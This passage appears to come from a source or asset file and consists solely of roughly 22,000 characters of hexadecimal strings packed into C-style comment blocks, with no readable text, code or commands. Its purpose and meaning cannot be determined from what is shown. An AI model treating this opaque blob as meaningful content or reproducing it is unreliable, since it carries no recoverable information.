8861781dc4af3b98eac514d8c0f9555d8348d9c4867ccc931cbe2826501d97a3face70715c03db093367650325ef0dfd642033bb4215d7368aaa81dd85c7c4439d2d54f3ae86d3332710f7e3ea228db410c2f712730beebd256fc895aa3723fb8fc9a6ad1dba31a94196fa54dd78944c4a6d99a8490da79bb88cf2ae289197edaf4346e430e9abbd3c065b2efc571b63eb37287a7638e663218ff12c9695aaa334d073ee5946d377bf63991e3e94c17ac7163d654611d0b026a17afd391cb003e752592022602b858130e63bea14d79a637605648af22d685abe6c0988daff05ec3f33099f801803bc0be5af33b429bd52fdef4a07080a7a9ac180aca7cb686361812fca9591a74d0cbc7fe399851000dacd80b04d4d7f68c67aba5d69cd6657912c60179244398d5841aa132433ed9dfade190b204b38aaf3776844baf26a1ea291618e11fdb40867f6c62871a8b972e9a9d162cd404614c5fb9294d65a9a9901617e0d1045964989df59a2a2919fa79b6188cef3ef222fffb253b7953e710f1b779c5939f909c17c7a4e84ebc25331b355035f5388505fb65d1a85072e26e60687d2fb8234e2c70406ebee8964b1060b86719338ef67fca6a68d87f0611fafc41327848726cb4f47c54c1987f8c553026b1f07249ac3bf49060db3328f66d104f5b504ede8aed8c6b58c7696cc4d655b5c09c33e92cbb57857f3a13016ac3e826cfb22b3506eb21082616396c2620832ffdeaf5a9a1587e43112e4a14da3764f4b6869adf8af40fc0787e8b91632a094b923f3870918eb7dd08b47103c78fee35a2d0879b3f3c472d982f4d8e51d6badcafed977b0f087657d19a22719ead5b08e549deed30e921f8212720e2330069b6e14a5b96323db9965cf64cf8f8f728b05e90d3a848bccd43278dd08f1a38825d334cba65a3714fd23d85024b8dd74a96cb4974917c63be57ad2958fe6d7d1759790a90a87b17f639a72dcca72139d9118fb7ff1d7c8113ebb4ec7ea234a61ba7c89f3004d30eb07d8e6e84c84693c058bea4ff7b1d986ff11cdbc2437f32c809644baf07bcce29520e5cc381b3540350bc39c4f8c4eafb1c693bdbb2fcd5285e50ebf3e8ee74d966d297b55616a3dcb3d6c24bc20f0183fa9c8646c43744cfbeb6c1d9eaf7a8d81d623cf2c944bf327d0192f2e0fa03f9c5e5ff3fc35963cda358451d944a34e1e7a38704d906d05b2a6db8be8067fe6bcde6d55bdaa957f26fde4a4338851a77676d4afbb12c5653548732e9a55f8174074dab2c3116ee5485f1deca506b79ce71d12b743ae623c3ff9f39b5341f9a206b440448af8f6fe4dd4d964ccad20f71d59eb39f36609e868172ec448ba8339f86c36b3b2ab9cb5c13b4c7b91f031c31d74238fd06e4d8917d417115156fc06bcde472cd05052f0d0c8b6df466713cb9791a9ff428c4c8f6b69e96cbc412d64e1d7e0be60c353215a28d5b41b41b73b8edfc938bb7b6c494b2ac305a84e9ff8458b459f22aa5bddc10854a430c177b921c48c461cf3760db3c15afd2dd2b246f61ae880d00b7334716a9646552a91a76a68eaa2537cb9d0d54a904294bb6267eeecf174b5ca4f64b810aa05035b330c9d793d91ea428fc19bbc3738f7c6a61dabd973836eaae2a62b3619deacf9e6d3e7b8e635b63e9bcd62c71c68fc06c6345e96fffdfbb01841c40875ed3c9e600d6afc5e1dcf9cd0025a72ae0e33fd6e09a18d0d81812aff74d53503b012bc6b7084db157689c6758bc734d09d089e95d8c66a1d924cf91ffd784ed3e4eacb776d0eaf8a7224fd53ec5f3e964ca6de292cb08f7f521eff6b57aecaa6f9a509d5f7d53db837e8ed52f5840e422e351c46b9396a77c7dfc785d442ec0346ae27c492a112d7c68c975af3d6c7d8b5c9ec689d2ed1*/
/*f57248b813cb6ae93fb0cb32eabe111331874eab5f6d0f101277259a453cf882dcdb08b1f4199c328abae62f12da60dfb028dd0127b19ee53e06e9be4075494fa5ffbf0a734bce8b254d3ce55e72da1af898a4ce59e95c0272e9091671b6bd287e71da9df84ec33eaf09c694c358f239f764af6f5348f8bd1da1634c8b2275549c95ffc4c246bdcb878db7c63aeb1339dfa35e9e6e2e7277f2dcb3cf1e84326c237cb3e35ea21142fae1ff4de0b4a1b50dc66e390e65f184dde7636af1211e681962ff4668a44e25df517d6447b385ed8661ac1f18b8a43818751146ced6b0867c0838ffe41302c703f5a66b774db51a5dcaecd6b14251986e2b659868d4ff7df923786e00629ee6fc5e80544b422a541e59b354d1a28da0fb4eea4610895aedf38a5c613ac3803f4a9c93383c3f56ba43d2b596ce19dc0eaf27c376e6af296e4ee73dc757710206b55a41a258c82e2b6d154e3efdc570612f4a547071f4f65fd4fece1e3b31f3f28ade2c431aeb0c2401b2cdc9905860b6a297489cee45bd35bf4210f014412d5dd5618588ec48a75f203c878c3ce1ffe1fe40492390aa4759888a34edc15de1c1ad964f88cabd1f5ca9c3db282a70e0d581adee0efad71b8980e340c23d2cefc4640c4bee240c8f88bd94aa082f1d4be2732eea9fc6eab9e2a473dbd7712390985d8029c2af0c0e46a22872839e78583c6b25f799c9f3470393e738c477c589cb24274039ac740f62c419935919ee4039efa4320576d753df9bda7ac1fea547badf4532c826db0c98965bc933998c3eaa892ae3f65830e24012e6ecc0ea80d247afd30ea3272de451244dc3bc29dc8611b7e64a32556e7c8a25100c44504d676ef08eb77972e0d9a1d3df34cb22a0265108de77f397be848c8856f0da2519db7a4e154a399c9b9f2ab4fc60cca47cfab67fdcdd18f02f7cdbe197ebb1ada21a6e8f996ea46a734c311cded93ccf8e77b01aa7444bc9426e4a43bdcf08504cf920a69105b5831e0c9dbe874f314d835b03626db30284c90b9bd19f1a0eacf614ebfd9f9633a47644894d1dec77420a9b6800263af1b48532537af7c0f5dd06846dda70fd6c9ebcb33a1f9a830fd11b951e723a016c3dc1fa750b17aa9c33910dbf5d06ca9420d079856aa9a5f341b8e44f274de2e55020a50acc6c2b92853da647a5d5acdcfe1f18185f41f2accb04bc29e726041ea926de6e76cc5460fe90fc2670165e55223caab9bcb25807c93c652667647f2900897821355190db3136d9222c894e4fdbba16cbce12fb83068527860f88c7238c88466107b9ee483c2ddda1719de6a0da0df4aa6ea1e2de68824c66c2b2d4fdc774f3cd3ba2e384cf982ffeb0be72e0376aae1800e1f4db1fcdffa350716b3c3aa2a3e41167c48d3d9205ecf2d287da3591ae7edfbe758cfe906c96810ddd14edd5b8164123d819b44d2fd143d7d5cc238f4b8561b9608de2599949e3c93035928693a70f99339ddeef2d9b0d29dee9f51e15de4601eaca7c657139a6a370c0081dae179ce7072f37244500f734919527cad3c660201eb7c1c55d90bb6d367e2aecc2bf6d07dc36c69a24ea9a82b86e05f38118b06f6321e454c155aaf84e56ce1ea8b468cfe7e06781bed815de3ebbe48422b6f26d299b060cbd0e3c593993a77786dbadfb29aed823a2887dcebc998d50d4248cc6726545d7083121f01e09eef1b8402ed965b867b88f9fda4a3faa394f398057822e2dfd81f8c48ba6f5adc3e6834f440c701085b531ad69da1b3f53f7959a25186391dc0acc0b01d365dbf762c2e6dfb19fa4313561cdebf5e02931437653b588b04cf28125096b9fd3baf28059d9f00c09ca930c45dbfc223dc419246c0aba05c0c95f5ea6e96acb310c7944c7ab0bd501fa7ebdb880ad5a4a9ce06be4424f74b8f2cc9b103b334aa414b582f7fdc9a1282f14c698d49a2c6663e3b7361b6f7c6903a43f714a046a3ad242eddd02041570e9dfcc23cc0672b4a6a702352fdc2bbdf91ba0e0d7ea1feea19a28920f5ac6c35b48e418bcf40cfeb2a89a38b19776e8fdb3db87dffaac8f9195666a837d30f154468c1be4e1a501561cf3f7373c972cdd187d97bb9c15f61dd3ccbe94328a9639256cd1913ab78cf64b545375481afd9a541341a34a54ccd407bf2b19f0b7eb31695dc3809c20975bd5d434973760482b951289848339f0729dd23964efa29a764a6f080939f3ecdc87944f84972ebadd1f677784e9fbd0b36fadd0fbdc825fa44c1584b4974976d4363a1f64c68c60a69239916b606ec71c9f5002cfb23b98961e71986366cfefdd3a23f2aa77658092e4a697c67b83311bf59653e1347f56326a9b99a67cd345c0f8f03d0c20a75b9b7932c1d810c1a8d2930311d07d97dc2d3889ced6f40b07909975e928439ea74cca6e1c413f556315fae55a26b2584c369257c4944e3d78ef8ed35b305bbb6377f263af9feb1d04840589a3479285d01a7b2e98186a20667d2bfe2a91a9379fafc0e5c6cc961913db5d66a6ca65ade299b2ca0cb0ed1699ca7b6a82c5f2641948f40c8c0ff728dbcaf88dc6bead9005a6d8a83c9c6d676a2603316300d7e56220d08f2882f9aebafe77f9878ad8736b7c51fd90c860ac2b23fbdb79d7fec5486ff69e2b9fa32189b21bc09b986ec611f9134dfdbf07b8a7abe3a8219c4601353e2b0e3f1454baaf4d93a81b617d51ff0f69e41f1c242486c0f5598fa3575ebd39d68c0c5a3899dc43e17baa4d6bdc30ea3f7b2e74f50e085eabc3a8a7ad7dba6fe1dc0a859a46a48afaec33965155229efb665678d6066dd3978b9f19*/
/*4d6698db67640643f4d89f0b1735bbfef22f4465213790e6ffbb83e82fb77209ddacee300bff40fd3554ab3dcca396b3c95c3b35a69a040db6b91488bc6c4ee7ceb5dc610c457a7b8978b6ef75b18762f85775caa753cb17723405553f9bb59e04c1d1eadfd3e5c90f342880ebb6f18e41d610960aadf7de99a8284ea0bd9692cd9a870a6c568dd4e7169311794a44ad1e8ddc1b1d52e0b8e6afdd523851a3f3574f1f49ec51bf7be76a0c785f37ebf6727df01aaafa86f85ec8214b3c38a3dfc4de02dc7e2b30b7199f8fd863abfd06ea29ad73bc7684d48063d0c554b0b21ee2ac48d451f9b87bc6b0461ed41267b7318e40640adcda376484498fe441e7ffde1bd3dbd9b6663eaa2fbab74b6d8429b2ce9b4e8210bc160d9f1346012ff1ff9b3145bed26e659c871c2dc264fd524188c4b3d5f72a00dbdb60f46d4c516a55ffc409534959822e046b7263afd8149252b2765a9e1c619cc9618f3792659bef36e7b87c5dfb922f307f3a67ad4318cb2d58742bc2f7c72a7747a27787456d8f8935153627eb4a60bd280daa0cde6aa5bba49719a8ac7b34a5eff1ba7136c963b9eb8ea4c3aea20d5a9a4ccd7b0e9b848407ce22c62170d5753ab398e90234b1de976ecbc9038eca2f42a65cb17fbb5c7fd802b1c4e4ae64f5d054c97dbe254d7c707e17814024ec81e4de6e147b441405b6bef4f4deb4905c07c722f9fcebb12949533b30ff33e86a92dd7c30ab5eda00342f73be6609589ade09f32575197a6c1ffffa3f037ca3b29534f0f16773b03e5825d8a1c35db138cefa18897bf15699c4c31fc2e74633e4ae58479d27e5acad9f109361b7e790deb21d244306c4272f2f68d77ad04d172c76863c099b740b8e12cccfe80af12ffe9ecf7dd794c302513c8faec850d5fe34ed15649c39988db246d0ce94f5a6ae83042a44a3eaf2c5a9cd275926a2ec74c31b29be7b30fc6c9a28f38135978b40f5261bc8f70e9e4581768318b419d7ba2151e54618cec8ee9f50af97b9c82747bcf3de12c4e2de9996ae9ffb1f518b41e1a19324f220cc3fbdec53a6af0e34d19debe45c1169b4672fc9af99b704c367ab110491bbd15e18cca1cc953ded91bbf6258aa9b1fad63366115a57c5974dd2ba6fbe850a08649fd3338f929420c8d2c3443a3107135a6ae9db7898bc915c7c6efd28f37b526b4faca1f96c47b5d8027c870b3ae1297818c73c8b6708a114dbc60c9620504d504b79a4690da5d5b866e35c18c0fe9ed067f5410c798b3e57b3389cfedb3d3096841ceb76bf9683fad157ded7fe140c7027bb010fd95f62783098de8a2416be8fb10719ee32bc9aa82eed8e095f24c4bf296837b23fb88a459c8f1277391544fe2293c05f4a99e3d0f1738e3c0a5bdce14c3caced942947ef3101baafc55dd62aab4b6a26c7ed071ab0aa5886f452d216838b4fa37ced4b267308f0493f1b52a12658766a931b4f7c9c395dd514b84f804132380dee8eb02623f0892b2d4f77cb7933d1e49543be9d9d1e820a5732db332edf798d27b6422f56066be7e52ae5dc33700b4430cc350621c1619dbbb380bbeab8e52a47176059ad81952e7bd71d5bddb1f3f0f73ddd995ed578e696384f1f6e631586b5a85dcb10ec5835ed8b671c18719c631300c19135e19edd4c89570701fc57caacdad6d8864d8a971d72bdfd8cc1a4ccfded4585ec1665f2859a158c1816ad90b21b4c8bb24465c03650e8c9cb5cb2e1b6892cd4e6b31490241817dd47afe7f728f0912a646b7bfc592b2649e7d5ce0cb95373c82836311aaeb6530af98799b3064f36c320ef5ddd7f679e7dab84056ddf1dcb97cc3cb700f5f31690bffb144c36a44b19df512089443f070d75dd22f114ffaea81f979e1a8e20674c5b435fa363478f2f0a55d587587d2dd6e34e3b1e088d18ecf4577c2fd6b3b35cd387763cfda0de73c329bc7a2398dd004e5523b598d1bd42f3073bf9568e0f72dbb35162aabff7ed1dec573f2bfbdea710393fd648a01729f3bcbc960587cecd98da70018c982c435ff11b4afff20f1a5a8062beb87baac1cf91148ee7b26615114c0ee6614cc2bb416366d10fa4abaa261aa3814c10c96ac39ec5e1c728a80fd5663867540539dde5240ac46cd0f03b497a9585e98f75141005fa6b7f6bb26db8861fca584af907f52da606bef66708dced423180bb3acc81f415390e6f42a32cc6e77853240bc6dd45edfdd434ea7fbf01db9aef1d60046d29aa90e9561d7c9eff8a7d513ed990110a1f5b7b915f43e66f6b07392a317a92788c3c428a1ae89118b79983a49c8a6a1bd921bd0371d416d2a2cde8d60670ac541144d4dc9b2c068d11a77d2820c814d4fc229dc997e429a65efc174c691d57fe8ef577c5caeadaef9daf868be6e688004f5a16de3f12bc266682ea4726639260a2e7393418cff85c816445abaa8db225b0417e0f4dd72955ad95bd0497aef63495d5160f2cdad7c07de37fc916f263ddd90b55ac6db0c9cca477ca80a49c5a14f7911476afd4edfde5def1731d8f9654e42d789464773b0b79076a65a4e61c668fa6044a6ecbe10a9b15adab7dd1994b4c815a16dfeb4bce0ca1e358b40a635b92a47400c18cf9b3280b16a23047c8b0b451443dad399cf0f8dc60bebf3a21a0e39688a55f5ab1be959e0fc57bf109615ec7b2175ab47de0aaba19a7d1ee42077d66437a05df4efe0635f6801389b384452407d35cc8876db8a13fe8526cf74f2af01244093a21c734a69b73256d9348c53cf60c1e716539626394fb5297477bff71fc3acc828963fa974a0b933cad3fcbe02686f7f927*/
/*5598ecc6c64d8f4b2ddeb2328c193fee8f7fbc0f1f9e646ab56a005ebc552062de33309f5a28ce6e3ef1bd267f623bdf47e07a20626a31082e0f9c9e1b982fb6a2dd3468dbb7ef55deb4302998e90817bac41ed5aba940e3b041a20aab7437a4d2c20131c3b97e402569a9066dfa33edffd7e55d39afec71079fbad67efe561f011e0e47d0edecccf22a14d86c7545bdefb15971181d41f2513cb6f09e2f1945ea73b6b98d8fe39375ae1a8bdb756449da917435f3ed63a9449195cdfa507a70cf6d06cab236482e72599572043f918f9fd0cc4a4d3dba3420c45ffa63a3f254e100f83b7f38bcf23385ca16d7c8ceb101bc4133cbe06c56b9cf297a4f922852acc0517961034b6300e38ce9ea3b8ebe790c73c83218b5899019dc12dbfb98b215cded383a8e815bb758c54266c07be618b25c3f690ed992e463afc690e1499e239846cdb9890594ecb82ab9d183e87873abcba150fd84fd07e8d564c898de126ec2b9647e64fa56fec8cef6d862ba60973247bb9f5d1a28e48442dc5ab77c2ffe231062cbd1eb76eb7e43a84e2c9d38998f93a487cd7336808135db66bcb9bfd4fa26a4bfed16cc972381b589024a82baadd72adadac97d4a4045518c62b30b812fa592c13bc788da868bd1db63850eecf604781fbe5e28db5c5c69d20fe040d389650f906a38a476f64250b44eab8c00f9208f2a184a3f3e0dbaee6ebf00e3d5a7d54e8695445440e7acd07f75af09bb06aa60a10ac3f41c3cbb0920e48b5d447b0a60d3f05ad69e19d1c9ebc8e0e08a8b171c2cf6cb6b7e0175d67e52beb980eadb959d235e30cb10e8699ac78eb822f0fbd192e7d443073374ed7c4cdb8305087018de5c1998fc6ec4e8f489d0ad158eabd0eb2a7f1811bef2988817a27b96d401086b9c77b38a269b41344a808ad9ea7c233148f289f89e88fe651c09429e1279bcb9e550702cf234ed26656655a565fcbdeb229b06f296e3ef194bf97a48fb7eab0d78b188643debd1d15013197959313f4368657a840046ebf3ed6bc2456f39e142788ffd78da1441be1a7be56bdc90c0027cbbbf77fdbffb4d78f6bf821b3cd78e1b59a502871244d271da62a57c53e3b9f00cddc9cb9af689e7e0add8ef0ee38e3a2b952e07540872ddeacfa9502ab93cb72c7e4c4d4659b1f1073911cfa6d5d64668760831b5797cdf6402eb41bdf44a342e4b434a2e0821b312330a7c5df078a101997b413be55ba1569f509f9c664297610d4ed540c58902a89f4ef89a80773f7c902efaeb6e0fee96a56a535584b082c007e45c12ff2aa76699016801d384690c357be86848db475a957bfa5331fbc1c078b3d6e644e36ea88fbc27264a05badf3c8c0f3bba01f729bfba6c8936d2bd9611871c4c0cbdf947a4f771b91a15103a618ef5b308cd103ee9321fbc0a084b17e2a8be7f9489af3492e7a7338d46f623f71d2b6ce87ac6dc8bdab082e84d6051f3687a22b5e4d995b03c5d1fc7e0cec811e08be988d48fb6085f76be066f24439c151bc4b27c944b872c31c2065c7c6213f1d08eed9af394941f59b472673450b3b558d95cebcfcb7af45305b210f5d94000893522cde837db3671324d225241069730b243c8b579c0d4ea4f8068f6f53430a58980e708abaeb91f5e473bb496b02e81c6f77032ef23548cd048de6af84b44075d18de5de6cac5ac50e49458630006f7935b8ae127a1cd0c2e899d67b24d6d8fcb2c36d508524e72eacb2705c96804e890ac0a75fe42c7ea199e7951b39a792e5b5f68760e1e47f5c3e45dfee44f67928334d7f0db9dd2cd7048648782d46078122ce966a7f1fd7f3eaf0d3c02d4dfdf61d705c14354ac3d5204f0f9cfc70e1a87a8579cdc1c958c48a3d79fcd1e326c1b634f592a586c1ee7e7bd97647cd9a1ac09d17348827eab1189619e89b4bc02ebfa9195ae66c38197d19e3ba5a3cec2292066aabc558b440560bbe075ab9daf7a342aafda2fbd15bb03bc3c2302989d1210ee531be25a9fe25e87561902ffb2567f0aa8430ab655bf17704e2d33a1539d30818cd65f9dc3f46a23dfc8e1fc84ddcb486e9be70cf5bc03810f9cc01fc8053fc596f01303b9595a8ac8c49d5b29aed132167e1c19f0f20b836d2d2db369df37a30dd843f00c756e2d413d7270afc260771595151f966ce059e80a8cdb4c4450f3241eea3f822f0bfef8f83e376a10c427e8096465b485b007aa5c06860c8c631f035cab5d1c8594d7ad9c3c3be8eb55d163e4b5408430217a17af01dc595380bdf3d57b7e5b2345a1eb0a871bf1ff2882c22659cf01e041379459a362f5a2edf7299b46f2dce47a9d5ad2eeaab71e53626af5f3d4d3bbd783cc9aa243d7eacb9a44535ff45b19d17c288384a594c0b2f8160c75f88fa52ebfbb612ec13dc245941025851b0dc01e26e0992023ad261097525e5e4b119d02af0b9e8f52141c124774514065938ed27c9099710b44875505ec9bb4a6f9a3cf0e093610e7d4c444abf066bc7585c567a6ef0cbf929dd46f357e7a5b623a3be58ea39077721bda792b9f051d0f7f3288b7709ce21f7ebe5f0d99408bcea2562b06fa9e49a4b98ab52a4fd8b0f1e8eca8ea2daad20a879aa9a0a73302a6988b03931c6e302411d190dd6d2e4a5f2ec441d9ac4477dddb52f0754da133c8386c900208b4fb888e8838da076b53d87f6961ac85411a37e7a6f0a17d7477c8539027bdda91d4ead6893ef1dd256da217855a1afbc70826b075f1953bf98563f2acbbab1806e77fe7554f851c5e8ece9927b5e2d535bd35f94f96127ccb27d32d99eeb56a7277289458e0ebe8d519*/
/*c976cf25784e4e0acfcd0923ebbfc2badca3351a4ccee8f5d717e184c83a97ca69d0fc31e955162f008f6f59295c27ffdb12c64442b7d20e5ef4e1a9ef3945e1293312a7c55473c7b4050c6d0e4d0770a8e8ca5f5d10ace19a20e98ac92ef44395772a193df2dc4a3439f358387f6f027b7e9082c7fcf45e52b6fe765752311ff71c6c6be4f3c11f4065e794056b9b3006a14b1644495fb02df1c531b7be4cfb42b2a445a7410c332e054a1a683ded9f54e2ad895a1600cfd418aa27a31f2985b06560e91a8a713a3f84b8642b11f7fe3487e2e9f078826c67fa6ef87338a1b0ff529de3848b70976a774f7ae546c060ec1ef2880fbc2e1ee07fb4b84db6388176b8b916c3291962361bf182c55e6a080d741dadc80da3bdc85fa418904a9d44a78206d35ba4e14bf4001c74c9184ada50a9a7d132765d3210a0b7d8025e2a70a9f1a905b5de7b3a797f163e8df0a102addd3b0473045606fd2cf219144c19e7e84237f025492ae6a4a1d3c1535575c54e8cc6fe561b89f0fd21e0c6d3a65bba760d8860dccab0d73542198088e16d168a20e8edbf67b9b15841fc42e6df44920942b12998cb90cd6620389c913045ba691b69e381f527a493afa88401e941835079392ab8f7436a6f7e6ac2b429ff9b6ad92da4bfc7af6717d2b39dff3e1cb5a8d173ea00d790ee7d604b7c03b9d4c5f30cd5793037f6aa53c7646455abd90522f00cc21249944c27920ca85cb7a8baa3f1b77cc84c9e60eed0a98d6c887fa81128e3c192583f60fb0b6a04f2ea61036bca00abb99dd1d2507687332af6e60045f377ce5c7ab73cde62f4393e759123a49860d87f8ec8362bb4742a38cb22edebe554babfd183e657399ec12571f816a3c1f965888982af7e125b3c07bd93bdd6f067c6d4391f71dd8764885b750bb4461691830e86e84c6d3c6eb2fe9803af0a05e7645fc9a5c649f210aa2380337e4335551b4cb9d0f2643f508f0b843822c606ee38262ef073786917317a48b4af9d2dc080d632f9c32c44f299c97daaddbf504a90c7a5022bd4363a3f579afde485ddb36c05b85a1840379bcc08e77b5eb20fe08aa481586cfbb12c09f9c804e84f62cd21e6e1e80ba2ec0705db7f36eb8ac967e5da4c516395a461a27e4cc3d440500567c6a82f85ab5da70c9542844dfe254276472fa2f57d34573b7a26179808c2efbbe3dd8cccf6e1ea9b998960ec80688b8482ee8dcdb2e6fe435d3f372471b36fa85c71ae365de6c3bcdf3ca53a228cc7a3261facf6ed4c28079438ba7883e85e362ed87770977d524db533856efab6be2b4f8ca44a40f41fb89d240cc1eed75a6e6a44a72d23d7afa83cc3746450f0fd2f57b0e502838ec1f5194ab97c6c64af67c49ac0386ff32e6809c1f963ad0b879636cbca0b5e7bb89df0adfe0b2907ff90a5f7fc06e9f633beea8ce59f1e2b8be7aa1febd0e56599d80ceab674d7a20392eef78af2bdccd190441baa0f147077a53751376744aa622ba7a65992da9735161039e9c0a76326f771f4e7691186d88d4247630dba13b5c4565ca5282f92aa48ab822c2a59c653d52834dadfb976cdff6f668c38cb914cf4b598dfafe925ab70330fb8b6864b6db06a5332ae45a4656b8a7166ba875d3c9e8592aefe5be33f378f48857784586ba62ead021c348e9a5eb1490532a1a61f1bfa8d839992383fa89b83c3bbe34ee94f83d185039035945f5046ba86657e26493f7bc1b49100ef6c7cf6c8ec56977b03cee7172a42d735d94f95afb1f787e071551d289af60658ac1fc0ba3910dfb6a6e18116f4717a290aabb5dca650477d09b6982b5b18d5a56223323f1c61995521fa5bcfe71ef7c992ad80d50d2d8308aeecf4aab2f2056cf8dc28c3b67e20da64d6413b7a9eeaa5040c19c9de1dcfb5b005e6f4805ab73a7356bf0b7d23c630fcfe3183ff25098b243a913ebefac6b2f819488df1ce4dcd852eb2bb2078024b6c5c701c70e22e2423104e8d1bafb338f29788107d9144655eec2decc7330228dc75d198376d9947c50b2e295d534566d749ba649bb4f37753d0750f07633cdae3c6e19c5aa6444d7b6548a9e70e37c4cad65f1ae1c8a5a9987a07741587684380d9bce0c9eee7fb9e27cc56b16921f45230b6ca5ed27d88092bcdc50e59db8117149ffa7c2913532f16ac9f4944650daf51a0241757d1f79c601daca1fe06f4a978827f606e3d4810d939a77775ee93545a6193c478abcab939c6f981a57467e155f88419395b968b565c4eb4ca42ab681d2eb1063379ca2da37a4e791e90c8c8b1338103fcb39323a6894a17581973575e0172879886727aae7f19bd3e527c1de3d9093a4876229a35180b81c7e31927f9668d14ded0c1bc54dbfa627440bed89e573c426cc168f927408a74510d0e74a1221e0a784133a852446b7f13e2b27f7e3cc094025a24fab90592fa15f980872257ddef7e5331e6113a1f4d39649f5074c4e18c833dc6a8c5ba9aac3f734c12b199e24184e676b634912971536ab73df9a87f88226bb80621be8cc49887df0f7bbe168e484f4bdd0790ace5bfe19b80641d6ebf015f250501dd5461db4c905de30d0c8f053228435e97aebe6f498b09b731e6c332956f7b557e9b72f1a65911de99ed39fda3a2dd7859b266cc3f8a31d8f580abd4f1607707999d6467cf55d2de9bab902c2c148848a8844ba5ec9884a657411525e1b3d4a35caa325fdd63923a8b7d4c3beec8a7835a81f9cfb3fb78b52a24cf636542f705cff578ffa849205f7d0a419ed60768179be9e90664a555d879b48adbe146c1a043964751212956e5d18fbd*/
/*2c3a8b7f6bcd6fb4afd292a2af6c4085c7f3756a32b84c8172e924e0045a88f2156784ff935737394791ae4ff8cf5b5ed402842b3f5b04c1668e5abe1e3c29d274909982fe59a6329fe47cad3a2b02d0e6850cbefd46d926ec8e9dc4f72fe6a346091536a05e2a549bee8925f801f82463618488996889d4f019f2b7af766c9a2c4c3e4c07dd22d46848f4b680e6fe969c7fb8f3d3c8108a806a0635da1a968e1a778a7dd8e06d9d70d2ec88187f6511d83227805cba99ddf22f0bc8b743be8eae0f8cb1b72fba5ff7e77a4020d4bd5ace7dc2a92d54eef622f1c7f941038a0b18bed5b59ff2c6e75c3b0453c0825d19a879db3192e60c490ae9be33d5cb6596001a7eb37f687e93ca434df7554fab968b4f2622188bc20547dfe8a49982b15b2f16a06ec02cbf7b7cf104a01b78993012d479c87d207e9ea893b25b4c342ed029172b5a40191c8904814d53667f43b43ba3a98fbee6cce714dd557aaf91a5d9b86b13a32d4d5af33bb0914067abd032c570995f5417cb4e89a71455fc6ea53e16bd623a91ad1c9c4b7f31b43b05f55a74bcc93e905f7973f5420b51d3724fbb90829373d78040407f9706f08aca87b34c2379b1e399a8c769059f351071021c7c4950896321e5d655e6f512c12d14aa497b193eb5c2988fa2eac74caa787a6d1fcb163e1517cb1aac7feb39d60210b1e3999fe42c03c10b5d2cdaa7fad6737a88bb54c062539e11654988c5394483a1e39075165f946c38cb705fa99ab643dfdf5f9d8c2a3d38abbdf169cc5bcf3ca47da12c6fd84fe21294f37961dd7fb3d93c5ae5f60c669ea2636da60656840ddb42face2b925bf02c6ed826437f63ee5d8b411e52a04ab6629c1486eb15abf7fbc609dd839ccaad6499ee4e5ad71fb20bd67581d73b3df51a02c700faddf8ba1b6f52d447ce1b811129fb30f33c4a6925c12b7c753d6e51e768c604faef41f5794527921bf0cb011d075355db1a15a04ea0d210b76ddb4bf6f99db5da82a35e50fb9416376d8d54dff49d1d5a28cf878114a0fae2a001c755525f2a4e5671a3dee04c9e3996cee439e6890e9c278dcf8de765f0f1d97adcec4091b8a06b7578813bb45d75b12c689c011cce53a1908561233c6c6bb15b032434f8660ff6a8b1f846f4a2842bedff3003bf3f39c41983d0a7f66502cbbd0947bb5342fbf53efbbc8cad9b1a9b2d399ac23df7167c39c3648e53d013ac251f9c43f722493f49bcff3c73fd8c41a51e0926d91c027f2ce2e6f08c3f8dca63badc04c7723d5875fc172526207b9b293871442bc306dd7fa066dafd03d5d97c8d4596479e4d3976d677802243196ac297c0b464eac78529d513af070ed41a5aa137401b7725e6ab25b1ec91337f5e5b493a4d5ffb33879ffbac7ede4179cc47122d65e126b44cf6131f21864fcbbd12582be1255d9d0e83f92d990a132407ab1f92a7786513cbceb9ba33794f64ac28133d1075d2ffa00234e13437875ed19369a0dd37337716a8197738838db42bb1a7c5ec78e91d2329499945b6908a84f7be2dbaa81501b6c95472db91747ef6f3ff5544bd211427166615ce57224f52dd5044937e0f21f528f3ba226fdea5b20f5b3aa36e950214eb68adc77680e611a3ba60313ef1425a73c6ef6a440ff38f9b9b6633d498ec18f03666d83ebc7eb50218b152c2249a4bde14e86f135cce5de64931b10f0fab6850bc7111147569b6237ff4c0c6f96502fa5638c0e918f3277e80b2714bbe8e0a0d0589f311365888e1bb58afaf892ecfa8ea0bfa1253883593d13bff6f1496cac50e65b509ef4b9c62f6421f3b68cac5db42d6a2100cf218a994466e7a332956e533004b027f315a0b0553c856c8d2f61dc082e78e9ed340d122b7d51ad133e0cc7129d7091d0be625f997e3aae674bf74f7c3d65a4617f537bc7c9b1a92c58c69b73b251f3501b89a573c12076d98950a938887acb23265d3542d451a1507e72d2b4f272b2c036711437cec27b69fb9e6de4ca8dee0ccb6dd92ee402393b33e53c20431a4e27aa11cb92344aca5ede9355ee02cb7efb75cea07aa69956437d97dc2a8f9203c565edc1a2eb0b8a45145a4f5058ef5b9275f6797dbc4e6e3e0e0c2ff662690f8b5c9bb4281a61e604a4cf3c66f40d3e90cca5c6325f491b11bc44b6690b85be489413549d932acd7c6dc08fad96a8af6ce77ae26b8d7f5d53f9e2ec4797a126888f4987a4117463088c9d537023664fd8ed6735b49fb7a1d8b91f30854d73cf7785c55e9691507c062b253263d247d2d97f849fefd9a9fa45a0dc376735898f6533031fe7a982bd75b8370318eed43fe937c35bc90bfcc19cdfeec0c3552ce358dd63e35fa5472477a1d15d99ef9c850aa397e46a2c6380f26e3f403be59c9d57390121aa9a8a203ea831275ccfacba1d5b339a01e1a42b6c69c1f41531c20b8853d1c33e52e0d8c5b106eef0a3124cef8a59233ac7b7ee2be19024ed81fa61bc411c17141e23404ce2137cceaecfd503638caf54e54e42a8917d3433a274ec42555bec1c838bbc8117c768ea5b0177e5eaefe4a80ab2b322503cbf8ea1e21e3636903715293670765f346a73afd57ef0cf4eea8c1b4b8545d61817fcfd45a619a0f58706f64938e35ff3cb0f9e05cbbd5218672929d7c6293965d6595c874198c2e7e2f82c19769495bed32709708a696f5429f2ceb17798d172a1dcfd195f30d8d00d7fa673bef4a83497d5aaa4b1b1d762bb537f2bf8b0d5eb0f95eccf65da24b7d00e4ba338c9725b6d979c8761e7678ff4d07af2959945ab563253d2108ff7ce894ea9ea564162f81b3d1*/
